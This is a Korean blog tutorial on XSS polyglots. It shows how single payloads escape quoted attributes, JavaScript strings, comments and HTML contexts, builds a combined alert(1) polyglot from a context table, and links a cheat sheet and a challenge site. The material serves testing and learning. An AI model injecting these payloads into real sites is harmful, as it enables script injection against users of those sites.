XSS Polyglots ( 강력한 한줄 XSS 공격 구문)
Security/Web Hacking

XSS Polyglots ( 강력한 한줄 XSS 공격 구문)

XSS Polyglots

XSS하면 떠오르는 구문이 있죠 <script>alert(1)</script.> 라던지.. <.img src='x' onerror=alert(1)> 라던지 등등 구글에 XSS Cheat Sheet라고만 쳐도 엄청나게 많은 구문들이 나옵니다.

https://gist.github.com/kurobeats/9a613c9ab68914312cbb415134795b45

 

XSS Vectors Cheat Sheet

XSS Vectors Cheat Sheet. GitHub Gist: instantly share code, notes, and snippets.

gist.github.com

XSS Cheat Sheet

 

XSS 공격에 성공하기 위해서는 XSS에 취약한 부분을 찾고, 그 자리에 공격 코드를 주입하게 되는데요. 단순히 <script>alert(1)</script> 구문으로 성공하기 보다. 앞의 구문을 마무리 하기위해 "> 오른쪽 꺽쇠를 넣어준다던지 아니면 --> 를 써서 주석처리를 해버린다던지 하여서 "><script>alert(1)</script> 이런식으로 공격코드를 작성하게 됩니다. 만약에 주입이 되는곳에 어떤 취약점이 있는지 모르는 상황일때, 즉 blind XSS를 해야 할 경우, 여러번의 공격 Request를 서버로 보내서 추측해봐야 합니다. / 도 넣어보고.. "> 도 넣어보고 .. </table> 도넣어보고 이런식으로요. 

그런데 이런 작업을 한방에 해줄 수 있는 공격구문이 있는데요. 이걸 Polyglots 라고 부릅니다. 여러번 Request를 하는것보다 한번의 요청으로 하는게 당연히 좋겠죠. 먼저 OWASP 홈피에 나와있는 Polyglots 공격코드를 보겠습니다.

XSS Polygot

보시면 /*--></title></style> 등등 많은 상황에서 적용될 수 있도록 만들어져서 공격구문이 복잡합니다. 좀더 쉽게 이해하기 위해서 XSS Polyglots 공격 구문을 만들어 보겠습니다.

조건  주입될 위치 공격구문
싱글쿼터, HTML Tag <a class='HERE'> 'onclick=alert(1)
더블쿼터, HTML Tag <a class="HERE"> "onclick=alert(1)'onclick=alert(1)
쿼터없음, HTML Tag <a class="HERE"> "onclick=alert(1)'onclick=alert(1)
싱글쿼터, Javascript var str = 'HERE' "onclick=alert(1)'onclick=alert(1)//
더블쿼터, Javascript var str = "HERE" "onclick=alert(1)'onclick=alert(1)//
/* */ 주석 스타일을 사용한 Javascript /* HERE */ "onclick=alert(1)'onclick=alert(1)// */alert(1)/*
HTML context <div>HERE</div> "onclick=alert(1)<button 'onclick=alert(1)//> */alert(1)//

결론적으로

" onclick=alert(1)//<button ' onclick=alert(1)//> */ alert(1)// 

라는 구문이 만들어졌고, 이 구문은 7개의 상황을 모두 커버할 수 있게됩니다. 더욱 확장도 가능하구요.


이렇게 XSS Polyglot를 만들어서 경쟁하는 사이트도 있습니다. 시간나면 해보는것도 괜찮을 것 같네요.

https://polyglot.innerht.ml/

 

XSS Polyglot Challenge

XSS Polyglot Challengev2 alert() in more than one context. What is a XSS Polyglot? A XSS payload which runs in multiple contexts. For example, '--> can pop alerts in '> and --> . It is useful in testing XSS because it minimizes manual efforts and increases

polyglot.innerht.ml